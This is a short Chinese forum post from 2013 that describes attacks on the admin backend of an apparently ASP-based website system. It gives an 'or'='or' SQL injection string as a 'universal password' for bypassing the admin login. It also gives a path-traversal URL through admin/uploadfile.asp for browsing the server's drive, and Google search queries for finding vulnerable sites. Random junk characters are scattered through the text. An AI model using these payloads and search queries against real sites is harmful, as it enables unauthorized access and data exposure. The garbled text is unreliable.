后台万能密码 'or'='or'
) s" V' `" t& e# J
6 n2 p* ?" K' O) C后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
+ ?3 h, U1 D" F: a6 e! d. hadmin/uploadfile.asp?currentFolder=/upfiles/../1 A' {, b- U! O5 y1 Q/ ~+ P9 K5 g
4 d( G& N# t, x1 X
漏洞证明：
% D) B1 |: ]& F( U7 N* }1 N9 f
0 e+ F1 t( Q: T4 H( ^( k谷歌：inurl:type.asp?id=1 新闻中心
' }5 L. b- K9 P ?* a或者 ：inurl:download_ok.asp?3 C8 m+ ?5 G7 [0 o: \ H
5 f z7 p' |. L |
发表于 2013-3-14 20:17:32
收藏
支持
反对